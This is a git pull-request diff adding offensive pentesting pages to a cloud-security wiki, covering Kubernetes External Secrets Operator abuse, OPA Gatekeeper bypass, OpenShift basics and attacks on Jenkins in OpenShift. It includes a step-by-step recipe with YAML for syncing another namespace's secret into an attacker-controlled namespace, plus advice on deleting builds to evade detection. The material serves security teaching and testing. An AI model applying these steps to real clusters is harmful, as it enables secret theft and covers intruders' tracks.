Merge pull request #63 from maxDcb/master

Add OpenShift Pentesting section

SUMMARY.md

@@ -59,10 +59,13 @@
     * [Pod Escape Privileges](pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md)
     * [Kubernetes Roles Abuse Lab](pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md)
   * [Kubernetes Namespace Escalation](pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md)
+  * [Kubernetes Namespace Escalation](pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md)
   * [Kubernetes Pivoting to Clouds](pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md)
   * [Kubernetes Network Attacks](pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md)
   * [Kubernetes Hardening](pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md)
     * [Kubernetes SecurityContext(s)](pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md)
+  * [Kubernetes - OPA Gatekeeper](pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md)
+    * [Kubernetes - OPA Gatekeeper bypass](pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md)
 * [GCP Pentesting](pentesting-cloud/gcp-security/README.md)
   * [GCP - Basic Information](pentesting-cloud/gcp-security/gcp-basic-information/README.md)
     * [GCP - Federation Abuse](pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md)
@@ -423,6 +426,14 @@
   * [IBM - Hyper Protect Crypto Services](pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md)
   * [IBM - Hyper Protect Virtual Server](pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md)
   * [IBM - Basic Information](pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md)
+* [OpenShift Pentesting](pentesting-cloud/openshift-pentesting/README.md)
+  * [OpenShift - Basic information](pentesting-cloud/openshift-pentesting/openshift-basic-information.md)
+  * [Openshift - SCC](pentesting-cloud/openshift-pentesting/openshift-scc.md)
+  * [OpenShift - Jenkins](pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md)
+  * [OpenShift - Privilege Escalation](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md)
+    * [OpenShift - Missing Service Account](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md)
+    * [OpenShift - Tekton](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md)
+    * [OpenShift - SCC bypass](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md)
 
 ## 🛫 Pentesting Network Services
 

pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md

@@ -663,6 +663,12 @@ patches = append(patches, patchOperation{
 
 The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`.
 
+## OPA Gatekeeper bypass
+
+{% content-ref url="../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md" %}
+[kubernetes-opa-gatekeeper-bypass.md](../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md)
+{% endcontent-ref %}
+
 ## Best Practices
 
 ### **Disabling Automount of Service Account Tokens**

pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md

@@ -0,0 +1,118 @@
+# External Secret Operator
+
+**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
+
+This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.
+
+## Disclaimer
+
+The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.
+
+## Prerequisites
+
+1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
+2. Read access on at least ExternalSecret at cluster level
+3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.
+
+### Gathering information about existing ClusterSecretStore
+
+Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_.
+
+```sh
+kubectl get ClusterSecretStore
+```
+
+### ExternalSecret enumeration
+
+Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret.
+
+```sh
+kubectl get externalsecret -A | grep mystore
+```
+
+_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._
+
+
+
+You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.
+
+```sh
+kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
+```
+
+### Assembling the pieces
+
+From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:
+
+```yaml
+kind: ExternalSecret
+metadata:
+  annotations:
+  ...
+  labels:
+  ...
+spec:
+  data:
+  - remoteRef:
+      conversionStrategy: Default
+      decodingStrategy: None
+      key: SECRET_KEY
+    secretKey: SOME_PASSWORD
+    ...
+```
+
+So far we got:
+
+* Name a ClusterSecretStore
+* Name of an ExternalSecret
+* Name of  the secret
+
+Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
+
+```yaml
+kind: ExternalSecret
+metadata:
+  name: myexternalsecret
+  namespace: evilnamespace
+spec:
+  data:
+  - remoteRef:
+      conversionStrategy: Default
+      decodingStrategy: None
+      key: SECRET_KEY
+    secretKey: SOME_PASSWORD
+  refreshInterval: 30s
+  secretStoreRef:
+    kind: ClusterSecretStore
+    name: mystore
+  target:
+    creationPolicy: Owner
+    deletionPolicy: Retain
+    name: leaked_secret
+```
+
+```yaml
+ kind: Namespace
+ metadata:
+   annotations:
+     required_annotation: value
+     other_required_annotation: other_value
+   labels:
+     required_label: somevalue
+     other_required_label: someothervalue
+   name: evilnamespace
+```
+
+After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
+
+```sh
+kubectl get secret leaked_secret -o yaml
+```
+
+
+
+## References
+
+{% embed url="https://external-secrets.io/latest/" %}
+
+{% embed url="https://github.com/external-secrets/external-secrets" %}

pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md

@@ -0,0 +1,76 @@
+# Kubernetes - OPA Gatekeeper
+
+**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-c-ab4b9a196/en)
+
+## Definition
+
+Open Policy Agent (OPA) Gatekeeper is a tool used to enforce admission policies in Kubernetes. These policies are defined using Rego, a policy language provided by OPA. Below is a basic example of a policy definition using OPA Gatekeeper:
+
+```rego
+regoCopy codepackage k8srequiredlabels
+
+violation[{"msg": msg}] {
+    provided := {label | input.review.object.metadata.labels[label]}
+    required := {label | label := input.parameters.labels[label]}
+    missing := required - provided
+    count(missing) > 0
+    msg := sprintf("Required labels missing: %v", [missing])
+}
+
+default allow = false
+```
+
+This Rego policy checks if certain labels are present on Kubernetes resources. If the required labels are missing, it returns a violation message. This policy can be used to ensure that all resources deployed in the cluster have specific labels.
+
+## Apply Constraint
+
+To use this policy with OPA Gatekeeper, you would define a **ConstraintTemplate** and a **Constraint** in Kubernetes:
+
+```yaml
+apiVersion: templates.gatekeeper.sh/v1beta1
+kind: ConstraintTemplate
+metadata:
+  name: k8srequiredlabels
+spec:
+  crd:
+    spec:
+      names:
+        kind: K8sRequiredLabels
+  targets:
+    - target: admission.k8s.gatekeeper.sh
+      rego: |
+        package k8srequiredlabels
+        violation[{"msg": msg}] {
+            provided := {label | input.review.object.metadata.labels[label]}
+            required := {label | label := input.parameters.labels[label]}
+            missing := required - provided
+            count(missing) > 0
+            msg := sprintf("Required labels missing: %v", [missing])
+        }
+
+        default allow = false
+```
+
+```yaml
+apiVersion: constraints.gatekeeper.sh/v1beta1
+kind: K8sRequiredLabels
+metadata:
+  name: ensure-pod-has-label
+spec:
+  match:
+    kinds:
+      - apiGroups: [""]
+        kinds: ["Pod"]
+  parameters:
+    labels:
+      requiredLabel1: "true"
+      requiredLabel2: "true"
+```
+
+In this YAML example, we define a **ConstraintTemplate** to require labels. Then, we name this constraint `ensure-pod-has-label`, which references the `k8srequiredlabels` ConstraintTemplate and specifies the required labels.
+
+When Gatekeeper is deployed in the Kubernetes cluster, it will enforce this policy, preventing the creation of pods that do not have the specified labels.
+
+## References
+
+* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)

pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md

@@ -0,0 +1,55 @@
+# Kubernetes - OPA Gatekeeper bypass
+
+**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-c-ab4b9a196/en)
+
+## Abusing misconfiguration
+
+### Enumerate rules
+
+Having an overview may help to know which rules are active, on which mode and who can bypass it.
+
+#### With the CLI
+
+```bash
+$ kubectl api-resources | grep gatekeeper
+k8smandatoryannotations                                                             constraints.gatekeeper.sh/v1beta1                  false        K8sMandatoryAnnotations
+k8smandatorylabels                                                                  constraints.gatekeeper.sh/v1beta1                  false        K8sMandatoryLabel
+constrainttemplates                                                                 templates.gatekeeper.sh/v1                         false        ConstraintTemplate
+```
+
+**ConstraintTemplate** and **Constraint** can be used in Open Policy Agent (OPA) Gatekeeper to enforce rules on Kubernetes resources.
+
+```bash
+$ kubectl get constrainttemplates
+$ kubectl get k8smandatorylabels
+```
+
+#### With the GUI
+
+A Graphic User Interface may also be available to access the OPA rules with **Gatekeeper Policy Manager.** It is "a simple _read-only_ web UI for viewing OPA Gatekeeper policies' status in a Kubernetes Cluster."
+
+<figure><img src="../../../.gitbook/assets/05-constraints.png" alt=""><figcaption></figcaption></figure>
+
+Search for the exposed route :
+
+```bash
+$ kubectl get services -A | grep gatekeeper
+$ kubectl get services -A | grep 'gatekeeper-policy-manager-system'
+```
+
+### Excluded namespaces
+
+As illustrated in the image above, certain rules may not be applied universally across all namespaces or users. Instead, they operate on a whitelist basis. For instance, the `liveness-probe` constraint is excluded from applying to the five specified namespaces.
+
+### Bypass
+
+With a comprehensive overview of the Gatekeeper configuration, it's possible to identify potential misconfigurations that could be exploited to gain privileges. Look for whitelisted or excluded namespaces where the rule doesn't apply, and then carry out your attack there.
+
+{% content-ref url="../abusing-roles-clusterroles-in-kubernetes/" %}
+[abusing-roles-clusterroles-in-kubernetes](../abusing-roles-clusterroles-in-kubernetes/)
+{% endcontent-ref %}
+
+## References
+
+* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
+* [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager)

pentesting-cloud/openshift-pentesting/README.md

@@ -0,0 +1,19 @@
+# OpenShift Pentesting
+
+## Basic Information
+
+{% content-ref url="openshift-basic-information.md" %}
+[openshift-basic-information.md](openshift-basic-information.md)
+{% endcontent-ref %}
+
+## Security Context Constraints
+
+{% content-ref url="openshift-scc.md" %}
+[openshift-scc.md](openshift-scc.md)
+{% endcontent-ref %}
+
+## Privilege Escalation
+
+{% content-ref url="openshift-privilege-escalation/" %}
+[openshift-privilege-escalation](openshift-privilege-escalation/)
+{% endcontent-ref %}

pentesting-cloud/openshift-pentesting/openshift-basic-information.md

@@ -0,0 +1,39 @@
+# OpenShift - Basic information
+
+## Kubernetes prior b**asic knowledge** <a href="#a94e" id="a94e"></a>
+
+Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes.
+
+## OpenShift - Basic Information
+
+### Introduction
+
+OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page.
+
+#### CLI
+
+OpenShift come with a it's own CLI, that can be found here:
+
+{% embed url="https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html" %}
+
+To login using the CLI:
+
+```
+oc login -u=<username> -p=<password> -s=<server>
+oc login -s=<server> --token=<bearer token>
+```
+
+### &#x20;<a href="#a94e" id="a94e"></a>
+
+### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
+
+In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional\_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
+
+SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
+
+{% content-ref url="openshift-scc.md" %}
+[openshift-scc.md](openshift-scc.md)
+{% endcontent-ref %}
+
+{% embed url="https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints" %}
+

pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md

@@ -0,0 +1,39 @@
+# Jenkins in Openshift
+
+**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
+
+This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
+
+
+## Disclaimer
+
+A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/README.md)
+
+## Prerequisites
+
+1a. User acces in a Jenkins instance
+OR
+1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
+
+## How it works
+
+Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM.
+The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
+
+### Builds
+
+When a build is triggered, it is first managed/orchestrated by the jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up.
+Your build is usually run inside a pod, using a default pod template defined by the jenkins admins.
+
+### Triggering a build
+
+You have multiples main ways to trigger a build such as:
+
+1. You have UI access to jenkins
+
+A very easy and convenient way is to use the Replay functionnality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a jenkins folder and a predefined pipeline.
+If you need to be stealthy, you can delete your triggered builds if you have enough permission.
+
+2. You have write access to the SCM and automated builds are configured via webhook
+
+You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.